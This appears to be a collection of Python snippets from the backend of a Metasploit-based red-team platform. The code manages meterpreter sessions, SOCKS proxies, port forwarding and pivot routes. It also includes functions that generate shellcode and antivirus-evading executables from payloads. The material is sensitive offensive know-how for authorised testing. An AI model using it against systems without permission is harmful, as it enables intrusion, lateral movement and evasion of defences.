Example #1
0
    def destory(query_params):
        opts = {
            "uuid": None,
            "transport": None,
            "lhost": None,
            "lport": None,
            "ua": None,
            "proxy_host": None,
            "proxy_port": None,
            "proxy_type": None,
            "proxy_user": None,
            "proxy_pass": None,
            "comm_timeout": None,
            "session_exp": None,
            "retry_total": None,
            "retry_wait": None,
            "cert": None,
            "luri": None,
        }

        sessionid = query_params.get("sessionid")

        opts["url"] = query_params.get("url")

        result_flag = RpcClient.call(Method.SessionMeterpreterTransportRemove,
                                     [sessionid, opts])
        if result_flag:
            Notice.send_info(f"删除传输 SID:{sessionid}")
            context = data_return(204, TRANSPORT_MSG.get(204), {})
            return context
        else:
            context = data_return(304, TRANSPORT_MSG.get(304), [])
            return context
Example #2
0
 def destory(socks_type=None, jobid=None):
     if socks_type == "msf_socks4a":
         flag = Job.destroy(jobid)
         if flag:
             if Job.is_msf_job_alive(jobid) is not True:
                 Notice.send_success(
                     "删除msf_socks4a代理 JobID:{}".format(jobid))
                 context = data_return(204, Socks_MSG.get(204), {})
             else:
                 context = data_return(304, Socks_MSG.get(304), {})
         else:
             context = data_return(304, Socks_MSG.get(304), {})
         return context
     elif socks_type == "msf_socks5":
         flag = Job.destroy(jobid)
         if flag:
             if Job.is_msf_job_alive(jobid) is not True:
                 Notice.send_success(
                     "删除msf_socks5代理 JobID:{}".format(jobid))
                 context = data_return(204, Socks_MSG.get(204), {})
             else:
                 context = data_return(304, Socks_MSG.get(304), {})
         else:
             context = data_return(304, Socks_MSG.get(404), {})
         return context
Example #3
0
    def list(self, request, **kwargs):
        """查询数据库中的信息"""
        try:
            enfilename = request.query_params.get('en', None)
            filename = FileMsf.decrypt_file_name(enfilename)
            if filename is None:
                context = data_return(500, CODE_MSG.get(500), {})
                return Response(context)
            binary_data = FileMsf.read_msf_file(filename)
            if binary_data is None:
                context = data_return(304, HostFile_MSG.get(304), {})
                return context

            response = HttpResponse(binary_data)
            response['Content-Type'] = 'application/octet-stream'
            response['Content-Disposition'] = f'attachment;filename="{filename}"'
            response['Code'] = 200
            response['Message'] = quote(FileMsf_MSG.get(203))
            remote_client = request.META.get("HTTP_X_REAL_IP")

            Notice.send_info(f"IP: {remote_client} 下载文件 : {filename}")
            return response
        except Exception as E:
            logger.error(E)
            context = data_return(500, CODE_MSG.get(500), {})
            return Response(context)
Example #4
0
    def create(portfwdtype=None, lhost=None, lport=None, rhost=None, rport=None, sessionid=None):
        # 获取不同转发的默认参数
        flag, context = PortFwd._check_host_port(portfwdtype, lhost, lport, rhost, rport)
        if flag is not True:
            return context

        # flag, lportsstr = is_empty_ports(lportint)
        # if flag is not True:
        #       # 端口已占用
        #     context = dict_data_return(CODE, CODE_MSG.get(CODE), {})
        #     return context

        opts = {'TYPE': portfwdtype,
                'LHOST': lhost, 'LPORT': lport, 'RHOST': rhost, 'RPORT': rport,
                'SESSION': sessionid, 'CMD': 'add'}

        result = MSFModule.run(module_type="post", mname="multi/manage/portfwd_api", opts=opts)
        if result is None:
            context = data_return(308, PORTFWD_MSG.get(308), {})
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(301, PORTFWD_MSG.get(301), [])
            return context
        if result_dict.get('status') is True:
            Notice.send_success(f"新增端口转发 SID:{sessionid} {portfwdtype} {lhost}/{lport} {rhost}/{rport}")
            context = data_return(201, PORTFWD_MSG.get(201), result_dict.get('data'))
            return context
        else:
            context = data_return(301, PORTFWD_MSG.get(301), [])
            return context
Example #5
0
    def delete_job_by_uuid(self, task_uuid=None):
        req = Xcache.get_module_task_by_uuid(task_uuid=task_uuid)
        Xcache.del_module_task_by_uuid(task_uuid=task_uuid)  # 清理缓存信息

        # 删除后台任务
        try:
            self.ModuleJobsScheduler.remove_job(task_uuid)
        except Exception as E:
            logger.error(E)

        try:
            module_common_instance = req.get("module")
        except Exception as E:
            logger.error(E)
            return False

        # 存储已经生成的结果
        try:
            module_common_instance.log_status("用户手动删除任务")
            module_common_instance._store_result_in_history()
        except Exception as E:
            logger.error("删除多模块实例异常:{} 异常信息: {}".format(module_common_instance.NAME, E))
            Notice.send_exception("模块: {} 执行异常,异常信息: {}".format(module_common_instance.NAME, E))
            logger.error(E)
            return False

        # 发送通知
        Notice.send_info(
            "模块: {} {} 手动删除".format(module_common_instance.NAME, module_common_instance.target_str))
        logger.warning("多模块实例手动删除:{}".format(module_common_instance.NAME))
        return True
Example #6
0
    def putin_post_python_module_queue(self, post_module_intent=None):
        try:
            # 存储uuid
            tmp_self_uuid = str(uuid.uuid1())

            # 清空历史记录
            post_module_intent.clean_log()

            logger.warning("模块放入列表:{} job_id: {} uuid: {}".format(post_module_intent.NAME, None, tmp_self_uuid))
            post_module_intent.module_self_uuid = tmp_self_uuid
            self.ModuleJobsScheduler.add_job(func=post_module_intent._thread_run, max_instances=1, id=tmp_self_uuid)

            # 放入缓存队列,用于后续删除任务,存储结果等
            req = {
                'broker': post_module_intent.MODULE_BROKER,
                'uuid': tmp_self_uuid,
                'module': post_module_intent,
                'time': int(time.time()),
                'job_id': None,
            }
            Xcache.create_module_task(req)
            Notice.send_info(
                "模块: {} {} 开始执行".format(post_module_intent.NAME, post_module_intent.target_str))
            return True
        except Exception as E:
            logger.error(E)
            return False
Example #7
0
    def update(sessionid=None, action=None, sleep=0):
        if sessionid is None or sessionid <= 0:
            context = data_return(306, TRANSPORT_MSG.get(306), {})
            return context
        if action == "next":
            result_flag = RpcClient.call(
                Method.SessionMeterpreterTransportNext, [sessionid])
        elif action == "prev":
            result_flag = RpcClient.call(
                Method.SessionMeterpreterTransportPrev, [sessionid])
        elif action == "sleep":
            result_flag = RpcClient.call(
                Method.SessionMeterpreterTransportSleep, [sessionid, sleep])
            if result_flag:
                reconnect_time = time.time() + sleep
                Notice.send_warn(
                    f'切换Session到休眠 SID:{sessionid} 重连时间: {time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(reconnect_time))}'
                )

                context = data_return(203, TRANSPORT_MSG.get(203), {})
                return context
            else:
                context = data_return(305, TRANSPORT_MSG.get(305), [])
                return context

        else:
            result_flag = False
        if result_flag:
            Notice.send_info(f"切换传输完成 SID:{sessionid}")
            context = data_return(202, TRANSPORT_MSG.get(202), {})
            return context
        else:
            context = data_return(302, TRANSPORT_MSG.get(302), [])
            return context
Example #8
0
    def destory(subnet=None, netmask=None, sessionid=None):
        opts = {
            'CMD': 'delete',
            'SUBNET': subnet,
            'NETMASK': netmask,
            'SESSION': sessionid
        }
        result = MSFModule.run(module_type="post",
                               mname="multi/manage/routeapi",
                               opts=opts)
        if result is None:
            context = data_return(505, CODE_MSG.get(505), [])
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(306, Route_MSG.get(306), {})
            return context

        if result_dict.get('status') is True:
            Notice.send_info(f"删除路由,SID:{sessionid} {subnet}/{netmask}")
            context = data_return(204, Route_MSG.get(204), {})
            return context
        else:
            context = data_return(304, Route_MSG.get(304), {})
            return context
Example #9
0
 def store_log_from_sub(message=None):
     body = message.get('data')
     try:
         msf_module_logs_dict = json.loads(body)
         Notice.send(f"MSF> {msf_module_logs_dict.get('content')}", level=msf_module_logs_dict.get("level"))
     except Exception as E:
         logger.error(E)
         return False
Example #10
0
 def destroy(self, request, pk=None, **kwargs):
     try:
         Notice.clean_notices()
         context = data_return(201, Notice_MSG.get(201), {})
     except Exception as E:
         logger.error(E)
         context = data_return(500, CODE_MSG.get(500), {})
     return Response(context)
Example #11
0
    def store_result_from_sub(message=None):
        # 回调报文数据格式
        # {
        # 'job_id': None,
        # 'uuid': '1b1a1ac0-95db-0137-5103-000c2966078a',
        # 'status': True,
        # 'message': None,
        # 'data': {'WHOAMI': 'nt authority\\system', 'IS_SYSTEM': True, }
        # }
        body = message.get('data')
        # 解析报文
        try:
            msf_module_return_dict = json.loads(body)
        except Exception as E:
            logger.error(E)
            return False

        # 获取对应模块实例
        try:
            req = Xcache.get_module_task_by_uuid(task_uuid=msf_module_return_dict.get("uuid"))
        except Exception as E:
            logger.error(E)
            return False

        if req is None:
            logger.error("未找到请求模块实例")
            logger.error(msf_module_return_dict)
            return False

        module_intent = req.get('module')
        if module_intent is None:
            logger.error("获取模块失败,body: {}".format(msf_module_return_dict))
            return False

        # 调用回调函数
        try:
            logger.warning(f"模块回调:{module_intent.NAME} "
                           f"job_id: {msf_module_return_dict.get('job_id')} "
                           f"uuid: {msf_module_return_dict.get('uuid')}")
            module_intent._clean_log()  # 清理历史结果
        except Exception as E:
            logger.error(E)
            return False

        try:
            module_intent.callback(status=msf_module_return_dict.get("status"),
                                   message=msf_module_return_dict.get("message"),
                                   data=msf_module_return_dict.get("data"))
        except Exception as E:
            Notice.send_error("模块 {} 的回调函数callhack运行异常".format(module_intent.NAME))
            logger.error(E)
        try:
            module_intent._store_result_in_history()  # 存储到历史记录
        except Exception as E:
            logger.error(E)

        Xcache.del_module_task_by_uuid(task_uuid=msf_module_return_dict.get("uuid"))  # 清理缓存信息
        Notice.send_success("模块: {} {} 执行完成".format(module_intent.NAME, module_intent._target_str))
    def create_bot(ipportlist=None, custom_param=None, loadpath=None):
        module_config = Xcache.get_moduleconfig(loadpath)
        # 获取模块配置
        if module_config is None:
            context = data_return(305, PostModuleActuator_MSG.get(305), {})
            return context

        # 处理模块参数
        try:
            custom_param = json.loads(custom_param)
        except Exception as E:
            logger.warning(E)
            custom_param = {}

        # 获取模块实例
        group_uuid = str(uuid.uuid1()).replace('-', "")
        class_intent = importlib.import_module(loadpath)
        for ipport in ipportlist:
            post_module_intent = class_intent.PostModule(
                ip=ipport.get("ip"),
                port=ipport.get("port"),
                protocol=ipport.get("protocol"),
                custom_param=custom_param)
            # 格式化固定字段
            try:
                post_module_intent.AUTHOR = module_config.get("AUTHOR")
            except Exception as E:
                logger.warning(E)

            # 模块前序检查,调用check函数
            try:
                flag, msg = post_module_intent.check()
                if flag is not True:
                    # 如果检查未通过,返回未通过原因(msg)
                    Notice.send_warning(
                        f"模块:{post_module_intent.NAME} IP:{ipport.get('ip')} 检查未通过,原因:{msg}"
                    )
                    continue

            except Exception as E:
                logger.warning(E)
                Notice.send_warning(
                    f"模块:{post_module_intent.NAME} IP:{ipport.get('ip')} 检查函数执行异常"
                )
                continue

            tmp_self_uuid = str(uuid.uuid1())
            req = {
                'uuid': tmp_self_uuid,
                'group_uuid': group_uuid,
                'broker': post_module_intent.MODULE_BROKER,
                'module': post_module_intent,
                'time': int(time.time()),
            }
            Xcache.putin_bot_wait(req)

        context = data_return(201, PostModuleActuator_MSG.get(201), {})
        return context
Example #13
0
    def create(socks_type=None, port=None):
        if socks_type == "msf_socks4a":
            opts = {'SRVHOST': '0.0.0.0', 'SRVPORT': port}
            flag, lportsstr = is_empty_ports(port)
            if flag is not True:
                # 端口已占用
                context = data_return(408, CODE_MSG.get(408), {})
                return context

            result = MSFModule.run(module_type="auxiliary",
                                   mname="server/socks4a_api",
                                   opts=opts,
                                   runasjob=True)
            if isinstance(result,
                          dict) is not True or result.get('job_id') is None:
                opts['job_id'] = None
                context = data_return(303, Socks_MSG.get(303), opts)
            else:
                job_id = int(result.get('job_id'))
                if Job.is_msf_job_alive(job_id):
                    opts['job_id'] = int(result.get('job_id'))
                    Notice.send_success("新建msf_socks4a代理成功,Port: {}".format(
                        opts.get('SRVPORT'), opts.get('job_id')))
                    context = data_return(201, Socks_MSG.get(201), opts)
                else:
                    context = data_return(306, Socks_MSG.get(306), opts)
            return context
        elif socks_type == "msf_socks5":
            opts = {'SRVHOST': '0.0.0.0', 'SRVPORT': port}
            flag, lportsstr = is_empty_ports(port)
            if flag is not True:
                # 端口已占用
                context = data_return(408, CODE_MSG.get(408), {})
                return context

            result = MSFModule.run(module_type="auxiliary",
                                   mname="server/socks5_api",
                                   opts=opts,
                                   runasjob=True)
            if isinstance(result,
                          dict) is not True or result.get('job_id') is None:
                opts['job_id'] = None
                context = data_return(303, Socks_MSG.get(303), opts)
            else:
                job_id = int(result.get('job_id'))
                if Job.is_msf_job_alive(job_id):
                    opts['job_id'] = int(result.get('job_id'))
                    Notice.send_success("新建msf_socks5代理成功,Port: {}".format(
                        opts.get('SRVPORT'), opts.get('job_id')))
                    context = data_return(201, Socks_MSG.get(201), opts)
                else:
                    context = data_return(306, Socks_MSG.get(306), opts)
            return context
Example #14
0
    def destroy_adv_job(task_uuid=None, job_id=None, broker=None):
        try:

            if broker == BROKER.post_python_job:
                flag = aps_module.delete_job_by_uuid(task_uuid)
                if flag is not True:
                    context = data_return(304, Job_MSG.get(304), {})
                    return context
                else:
                    context = data_return(204, Job_MSG.get(204), {
                        "uuid": task_uuid,
                        "job_id": job_id
                    })
                    return context
            elif broker == BROKER.post_msf_job:
                req = Xcache.get_module_task_by_uuid(task_uuid=task_uuid)
                common_module_instance = req.get("module")
                Xcache.del_module_task_by_uuid(task_uuid)
                params = [job_id]
                result = RpcClient.call(Method.JobStop, params)
                if result is None:
                    context = data_return(305, Job_MSG.get(305), {})
                    return context
                if result.get('result') == 'success':
                    # 发送通知
                    Notice.send_info("模块: {} {} 手动删除完成".format(
                        common_module_instance.NAME,
                        common_module_instance.target_str))
                    context = data_return(204, Job_MSG.get(204), {
                        "uuid": task_uuid,
                        "job_id": job_id
                    })
                    return context
                else:
                    context = data_return(304, Job_MSG.get(304), {})
                    return context
            elif broker == BROKER.bot_msf_job:
                flag = Xcache.del_bot_wait_by_group_uuid(task_uuid)
                if flag is not True:
                    context = data_return(304, Job_MSG.get(304), {})
                    return context
                else:
                    context = data_return(204, Job_MSG.get(204),
                                          {"uuid": task_uuid})
                    return context
            else:
                context = data_return(304, Job_MSG.get(304), {})
                return context

        except Exception as E:
            logger.error(E)
            context = data_return(500, CODE_MSG.get(500), {})
            return context
Example #15
0
 def destroy(sessionid=None):
     if sessionid is None or sessionid <= 0:
         context = data_return(304, Session_MSG.get(304), {})
         return context
     else:
         params = [sessionid]
         try:
             result = RpcClient.call(Method.SessionStop, params, timeout=12)
             if result is None:  # 删除超时
                 Notice.send_success(
                     f"{Session_MSG.get(202)} SID: {sessionid}")
                 context = data_return(202, Session_MSG.get(202), {})
                 return context
             elif result.get('result') == 'success':
                 Notice.send_success(
                     f"{Session_MSG.get(201)} SID: {sessionid}")
                 context = data_return(201, Session_MSG.get(201), {})
                 return context
             else:
                 Notice.send_warning(
                     f"{Session_MSG.get(301)} SID: {sessionid}")
                 context = data_return(301, Session_MSG.get(301), {})
                 return context
         except Exception as E:
             logger.error(E)
             Notice.send_warning(f"{Session_MSG.get(301)} SID: {sessionid}")
             context = data_return(301, Session_MSG.get(301), {})
             return context
Example #16
0
    def create(self, request, pk=None, **kwargs):

        null_response = {
            "status": "error",
            "type": "account",
            "currentAuthority": "guest",
            "token": "forguest"
        }

        # 检查是否为diypassword
        password = request.data.get('password', None)
        if password == "diypassword":
            context = data_return(302, BASEAUTH_MSG.get(302), null_response)
            return Response(context)

        try:
            serializer = AuthTokenSerializer(data=request.data)
            if serializer.is_valid():
                token, created = Token.objects.get_or_create(
                    user=serializer.validated_data['user'])
                time_now = datetime.datetime.now()
                if created or token.created < time_now - datetime.timedelta(
                        minutes=EXPIRE_MINUTES):
                    # 更新创建时间,保持token有效
                    token.delete()
                    token = Token.objects.create(
                        user=serializer.validated_data['user'])
                    token.created = time_now
                    token.save()
                null_response['status'] = 'ok'
                null_response[
                    'currentAuthority'] = 'admin'  # 当前为单用户模式,默认为admin
                null_response['token'] = token.key
                # 成功登录通知
                Notice.send_info(f"{serializer.validated_data['user']} 成功登录")
                context = data_return(201, BASEAUTH_MSG.get(201),
                                      null_response)
                return Response(context)
            else:
                if Xcache.login_fail_count():
                    Notice.send_alert("Viper遭到暴力破解,服务器地址可能已经暴露")

                context = data_return(301, BASEAUTH_MSG.get(301),
                                      null_response)
                return Response(context)
        except Exception as E:
            logger.error(E)
            context = data_return(301, BASEAUTH_MSG.get(301), null_response)
            return Response(context)
Example #17
0
    def first_heartbeat_result():
        hosts_sorted = HeartBeat.list_hostandsession()

        result_history = PostModuleResultHistory.list_all()
        for one in result_history:
            for host in hosts_sorted:
                if one.get("hid") == host.get("id"):
                    one["ipaddress"] = host.get("ipaddress")
                    break
        Xcache.set_heartbeat_cache_result_history(result_history)

        notices = Notice.list_notices()

        jobs = Job.list_jobs()

        bot_wait_list = Job.list_bot_wait()

        # 任务队列长度
        task_queue_length = Xcache.get_module_task_length()

        result = {
            'hosts_sorted_update': True,
            'hosts_sorted': hosts_sorted,
            'result_history_update': True,
            'result_history': result_history,
            'notices_update': True,
            'notices': notices,
            'task_queue_length': task_queue_length,
            'jobs_update': True,
            'jobs': jobs,
            'bot_wait_list_update': True,
            'bot_wait_list': bot_wait_list
        }

        return result
Example #18
0
    def store_error_result(task_uuid=None, exception=None):
        req = Xcache.get_module_task_by_uuid(task_uuid=task_uuid)
        Xcache.del_module_task_by_uuid(task_uuid=task_uuid)  # 清理缓存信息
        module_common_instance = req.get("module")

        # 存储运行结果
        try:
            module_common_instance.log_except(exception)
            module_common_instance._store_result_in_history()
            logger.error("多模块实例执行异常:{} 异常信息: {}".format(module_common_instance.NAME, exception))
            Notice.send_exception("模块: {} 执行异常,异常信息: {}".format(module_common_instance.NAME, exception))
            return True
        except Exception as E:
            logger.error("多模块实例执行异常:{} 异常信息: {}".format(module_common_instance.NAME, E))
            Notice.send_exception("模块: {} 执行异常,异常信息: {}".format(module_common_instance.NAME, E))
            logger.error(E)
            return False
Example #19
0
 def list(self, request, **kwargs):
     try:
         context = Notice.list_notices()
         context = data_return(200, CODE_MSG.get(200), context)
     except Exception as E:
         logger.error(E)
         context = data_return(500, CODE_MSG.get(500), {})
     return Response(context)
Example #20
0
 def create(self, request, pk=None, **kwargs):
     try:
         content = str(request.data.get('content', None))
         userkey = str(request.data.get('userkey', "0"))
         context = Notice.send_userinput(content=content, userkey=userkey)
         context = data_return(200, Notice_MSG.get(200), context)
     except Exception as E:
         logger.error(E)
         context = data_return(500, CODE_MSG.get(500), {})
     return Response(context)
Example #21
0
    def store_executed_result(task_uuid=None):
        req = Xcache.get_module_task_by_uuid(task_uuid=task_uuid)
        if req is None:
            logger.warning("缓存中无对应实例,可能已经模块已经中途退出")
            return False
        module_common_instance = req.get("module")

        # 存储运行结果
        try:
            module_common_instance._store_result_in_history()
            Notice.send_success(
                "模块: {} {} 执行完成".format(module_common_instance.NAME, module_common_instance.target_str))
            logger.warning("多模块实例执行完成:{}".format(module_common_instance.NAME))
            Xcache.del_module_task_by_uuid(task_uuid=task_uuid)  # 清理缓存信息
            return True
        except Exception as E:
            Xcache.del_module_task_by_uuid(task_uuid=task_uuid)  # 清理缓存信息
            logger.error("多模块实例执行异常:{} 异常信息: {}".format(module_common_instance.NAME, E))
            Notice.send_exception("模块: {} 执行异常,异常信息: {}".format(module_common_instance.NAME, E))
            logger.error(E)
            return False
Example #22
0
    def send_text(self, text=None):
        if text:
            pass
        else:
            return False

        msg = {'text': text, 'desp': text}
        r = requests.post(self.url, headers=self.headers, data=msg, timeout=3)
        if r.status_code == 200:
            content = json.loads(r.content.decode('utf-8', 'ignore'))
            if content.get('data').get('error') != "SUCCESS":
                logger.warning("ServerChan 消息发送失败,错误码:{} 错误消息:{}".format(content.get('code'), content.get('message')))
                Notice.send_alert(
                    "ServerChan 消息发送失败,错误码:{} 错误消息:{}".format(content.get('code'), content.get('message')))
                return False
            else:
                return True

        else:
            logger.warning("ServerChan 消息发送失败,HTTP状态码:{} 结果:{}".format(r.status_code, r.content))
            return False
Example #23
0
    def generate_bypass_exe(mname=None, opts=None):
        "生成免杀的exe"
        # 处理RHOST及LHOST参数
        if mname.find("reverse") > 0:
            try:
                opts.pop('RHOST')
            except Exception as _:
                pass
        elif mname.find("bind") > 0:
            try:
                opts.pop('LHOST')
            except Exception as _:
                pass

        # 处理OverrideRequestHost参数
        if opts.get('OverrideRequestHost') is True:
            opts["LHOST"] = opts['OverrideLHOST']
            opts["LPORT"] = opts['OverrideLPORT']
            opts['OverrideRequestHost'] = False
            Notice.send_warn("Payload包含OverrideRequestHost参数")
            Notice.send_warn(f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}")
            Notice.send_warn(f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}")

        # EXTENSIONS参数
        if "meterpreter_" in mname and opts.get('EXTENSIONS') is True:
            opts['EXTENSIONS'] = 'stdapi'

        opts["Format"] = "hex"
        result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
        if result is None:
            return None
        shellcode = base64.b64decode(result.get('payload'))
        byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=shellcode)
        return byteresult
Example #24
0
    def call(method=None, params=None, timeout=11):
        _headers = {
            'Connection': 'keep-alive',
            'Content-Type': 'application/json',
            'Authorization': "Bearer {}".format(RPC_TOKEN),
        }

        data = {'jsonrpc': '2.0', 'id': 1, 'method': method}

        if params is not None:
            if isinstance(params, list):
                data['params'] = params
            else:
                logger.warning("params 必须是list类型")
                return None
        json_data = json.dumps(data)
        try:
            r = req_session.post(JSON_RPC_URL,
                                 headers=_headers,
                                 data=json_data,
                                 timeout=(1.05, timeout))
        except Exception as _:
            logger.warning('msf连接失败,检查 {} 是否可用'.format(JSON_RPC_URL))
            return None
        if r.status_code == 200:
            content = json.loads(r.content.decode('utf-8', 'ignore'))
            if content.get('error') is not None:
                logger.warning("错误码:{} 信息:{}".format(
                    content.get('error').get('code'),
                    content.get('error').get('message')))
                Notice.send_exception(
                    f"MSFRPC> {content.get('error').get('message')}")
                return None
            else:
                return content.get('result')

        else:
            logger.warning("返回码:{} 结果:{}".format(r.status_code, r.content))
            return None
Example #25
0
    def store_monitor_from_sub(message=None):
        body = message.get('data')
        try:
            msf_module_return_dict = json.loads(body)
            req = Xcache.get_module_task_by_uuid(
                task_uuid=msf_module_return_dict.get("uuid"))
        except Exception as E:
            logger.error(E)
            return False

        if req is None:
            logger.error("未找到请求报文")
            logger.error(msf_module_return_dict)
            return False

        try:
            module_intent = req.get('module')
            if module_intent is None:
                logger.error("获取模块失败,body: {}".format(msf_module_return_dict))
                return False
            logger.warning("模块回调:{} job_id: {} uuid: {}".format(
                module_intent.NAME, msf_module_return_dict.get("job_id"),
                msf_module_return_dict.get("uuid")))
            module_intent.clean_log()  # 清理结果
        except Exception as E:
            logger.error(E)
            return False

        try:
            module_intent.callback(
                status=msf_module_return_dict.get("status"),
                message=msf_module_return_dict.get("message"),
                data=msf_module_return_dict.get("data"))
        except Exception as E:
            Notice.send_error("模块 {} 的回调函数callhack运行异常".format(
                module_intent.NAME))
            logger.error(E)
        Notice.send_info("模块: {} 回调执行完成".format(module_intent.NAME))
        module_intent._store_result_in_history()  # 存储到历史记录
Example #26
0
    def create(subnet=None, netmask=None, sessionid=None, autoroute=None):
        if autoroute is True:
            # 调用autoroute
            opts = {'CMD': 'autoadd', 'SESSION': sessionid}
        else:
            opts = {
                'CMD': 'add',
                'SUBNET': subnet,
                'NETMASK': netmask,
                'SESSION': sessionid
            }
        result = MSFModule.run(module_type="post",
                               mname="multi/manage/routeapi",
                               opts=opts)
        if result is None:
            context = data_return(505, CODE_MSG.get(505), [])
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(306, Route_MSG.get(306), [])
            return context
        if result_dict.get('status') is True:
            if isinstance(result_dict.get('data'), list):
                if autoroute:
                    Notice.send_success(f"新增路由,SID:{sessionid} 自动模式")
                else:
                    Notice.send_success(
                        f"新增路由,SID:{sessionid} {subnet}/{netmask}")

                context = data_return(201, Route_MSG.get(201),
                                      result_dict.get('data'))
            else:
                context = data_return(305, Route_MSG.get(305), [])
            return context
        else:
            context = data_return(305, Route_MSG.get(305), [])
            return context
Example #27
0
    def recovery_cache_last_handler(cache_handlers):
        for one_handler in cache_handlers:
            opts = one_handler
            connext = Handler.create(opts)
            code = connext.get("code")
            payload = opts.get('PAYLOAD')
            port = opts.get('LPORT')
            if code == 201:
                Notice.send_info(f"历史监听 Payload:{payload} Port:{port} 加载成功")
            elif code in [301]:
                Notice.send_warning(f"历史监听 Payload:{payload} Port:{port} 加载失败")
            else:
                Notice.send_warning(f"历史监听 Payload:{payload} Port:{port} 加载失败,未知的返回值:f{code}")

        Notice.send_info("所有历史监听加载完成")
Example #28
0
 def destory(portfwdtype=None, lhost=None, lport=None, rhost=None, rport=None, sessionid=None):
     if sessionid is not None or sessionid == -1:
         opts = {'TYPE': portfwdtype, 'LHOST': lhost, 'LPORT': lport, 'RHOST': rhost, 'RPORT': rport,
                 'SESSION': sessionid, 'CMD': 'delete'}
         result = MSFModule.run(module_type="post", mname="multi/manage/portfwd_api", opts=opts)
         if result is None:
             context = data_return(308, PORTFWD_MSG.get(308), {})
             return context
         try:
             result_dict = json.loads(result)
         except Exception as E:
             logger.warning(E)
             context = data_return(302, PORTFWD_MSG.get(302), [])
             return context
         if result_dict.get('status') is True:
             Notice.send_info(f"删除端口转发 SID:{sessionid} {portfwdtype} {lhost}/{lport} {rhost}/{rport}")
             context = data_return(204, PORTFWD_MSG.get(204), result_dict.get('data'))
             return context
         else:
             context = data_return(305, PORTFWD_MSG.get(305), [])
             return context
     else:
         context = data_return(306, PORTFWD_MSG.get(306), [])
         return context
Example #29
0
    def putin_post_msf_module_queue(msf_module=None):
        """调用msgrpc生成job,放入列表"""

        params = [
            msf_module.type,
            msf_module.mname,
            msf_module.opts,
            True,  # 强制设置后台运行
            0  # 超时时间
        ]

        result = RpcClient.call(Method.ModuleExecute, params)
        if result is None:
            Notice.send_warning(f"渗透服务连接失败,无法执行模块 :{msf_module.NAME}")
            return False
        elif result == "license expire":
            Notice.send_warning(f"License 过期,无法执行模块 :{msf_module.NAME}")
            return False

        # result 数据格式
        # {'job_id': 3, 'uuid': 'dbcb2530-95b1-0137-5100-000c2966078a', 'module': b'\x80\ub.'}

        if result.get("job_id") is None:
            logger.warning("模块实例:{} uuid: {} 创建后台任务失败".format(
                msf_module.NAME, result.get("uuid")))
            Notice.send_warning("模块: {} {} 创建后台任务失败,请检查输入参数".format(
                msf_module.NAME, msf_module.target_str))
            return False
        else:
            logger.warning("模块实例放入列表:{} job_id: {} uuid: {}".format(
                msf_module.NAME, result.get("job_id"), result.get("uuid")))
            # 放入请求队列
            req = {
                'broker': msf_module.MODULE_BROKER,
                'uuid': result.get("uuid"),
                'module': msf_module,
                'time': int(time.time()),
                'job_id': result.get("job_id"),
            }
            Xcache.create_module_task(req)
            Notice.send_info("模块: {} {} 开始执行".format(msf_module.NAME,
                                                     msf_module.target_str))
            return True
Example #30
0
    def generate_shellcode(mname=None, opts=None):
        """根据配置生成shellcode"""
        # 处理RHOST及LHOST参数
        if mname.find("reverse") > 0:
            try:
                opts.pop('RHOST')
            except Exception as _:
                pass
        elif mname.find("bind") > 0:
            try:
                opts.pop('LHOST')
            except Exception as _:
                pass

        # 处理OverrideRequestHost参数
        if opts.get('OverrideRequestHost') is True:
            opts["LHOST"] = opts['OverrideLHOST']
            opts["LPORT"] = opts['OverrideLPORT']
            Notice.send_warn("Payload包含OverrideRequestHost参数")
            Notice.send_warn(
                f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}")
            Notice.send_warn(
                f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}")

        # EXTENSIONS参数
        if "meterpreter_" in mname and opts.get('EXTENSIONS') is True:
            opts['EXTENSIONS'] = 'stdapi'

        opts["Format"] = 'raw'
        if "windows" in mname:
            opts["Format"] = 'raw'
        elif "linux" in mname:
            opts["Format"] = 'raw'
        elif "java" in mname:
            opts["Format"] = 'jar'
        elif "python" in mname:
            opts["Format"] = 'py'
        elif "php" in mname:
            opts["Format"] = 'raw'

        result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
        if result is None:
            return result
        byteresult = base64.b64decode(result.get('payload'))
        return byteresult